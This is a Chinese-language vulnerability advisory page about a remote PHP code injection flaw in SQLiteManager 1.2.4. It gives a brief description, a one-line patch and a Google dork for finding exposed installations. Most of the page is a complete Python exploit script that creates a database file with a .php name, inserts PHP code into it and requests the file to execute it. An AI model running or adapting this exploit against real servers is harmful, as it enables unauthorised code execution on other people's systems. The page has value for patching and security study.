database.php' 远程PHP代码注入漏洞

发布日期:2013-01-23
更新日期:2013-01-29

受影响系统:
sourceforge sqlitemanager 1.2.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57560
 
SQLiteManager是管理SQLite数据库的多语言Web工具。
 
SQLiteManager 1.2.4及其他版本在实现上存在远程PHP代码注入漏洞,攻击者可利用此漏洞在受影响应用中执行任意PHP代码。
 
<*来源:RealGame
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Description:
 ===============================================================
 Exploit Title: SQLiteManager 0Day Remote PHP Code Injection Vulnerability
 Google Dork: intitle:SQLiteManager inurl:sqlite/
 Date: 23/01/2013
 Exploit Author: RealGame
 Vendor Homepage:
 Software Link:
 Version: <=1.2.4
 Tested on: Windows XP, Debian 2.6.32-46
 CVE: N/A
 ===============================================================
 Vulnerable Softwares:

Name: SQLiteManager
 Official Site:

Name: Ampps
 Official Site:

Name: VertrigoServ
 Official Site:
 ===============================================================
 About Software:
 Official Site:
 SQLiteManager is a database manager for SQLite databases. You can manage
 any SQLite database created on any platform with SQLiteManager.
 ===============================================================
 Easy Way To Fix:
 Find: SQLiteStripSlashes($_POST['dbpath'])
 Replace: str_replace('.', '', SQLiteStripSlashes($_POST['dbpath']))
 On File: ./include/add_database.php
 ===============================================================

import re
 import urllib2
 from urllib import urlencode
 from sys import argv, exit

def strip_tags(value):
    #Strip tags with RegEx
    return re.sub('<[^>]*?>', '', value)

def getDbId(sqliteUrl, myDbName):
    #Find Components
    htmlRes = urllib2.urlopen(sqliteUrl, None, 120).read()
    if htmlRes:
        #If you found it take all the rows
        td = re.findall('<td>(.*?)</td>', htmlRes, re.DOTALL)
        #Make a dict of stripped columns
        for element in td:
            if strip_tags(element) == myDbName:
                #Return Id
                return "".join(re.findall('\?dbsel=(.*?)"', element, re.DOTALL))
    return None

def main():
    print \
        'SQLiteManager Exploit\n' + \
        'Made By RealGame\n' + \
        'http://www.RealGame.co.il\n'
     
    if len(argv) < 2:
        #replace('\\', '/') - To Do The Same In Win And Linux
        filename = argv[0].replace('\\', '/').split('/')[-1]
         
        print 'Execute Example: ' + filename + ' \n'
        exit()
     
    sqliteUrl = argv[1]   
    myDbName  = "phpinfo"
    myDbFile  = "phpinfo.php"
    #Create Database
    params = {'dbname'      : myDbName,
              'dbVersion'  : '2',
              'dbRealpath'  : None,
              'dbpath'      : myDbFile,
              'action'      : 'saveDb'}
    urllib2.urlopen(sqliteUrl + "main.php", urlencode(params), 120)
    #Get Database ID
    dbId = getDbId(sqliteUrl + "left.php", myDbName)
    #If Database Created
    if dbId:
        #Create Table + Shell Creator
        params = {'DisplayQuery'    : 'CREATE TABLE temptab ( codetab text );\n' + \
                                      'INSERT INTO temptab VALUES (\'<?php phpinfo(); unlink(__FILE__); ?>\');\n',
                  'sqlFile'        : None,
                  'action'          : 'sql',
                  'sqltype'        : '1'}
        urllib2.urlopen(sqliteUrl + "main.php?dbsel=%s&table=temptab" %dbId, urlencode(params), 120)
        #Inject Code
        urllib2.urlopen(sqliteUrl + myDbFile, None, 120)
        #Remove Database
        urllib2.urlopen(sqliteUrl + "main.php?dbsel=%s&table=&view=&trigger=&function=&action=del" %dbId, None, 120)
         
        print 'Succeed'
        return
         
    print 'Failed'

if __name__ == '__main__':
    main()

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wyzwdd.html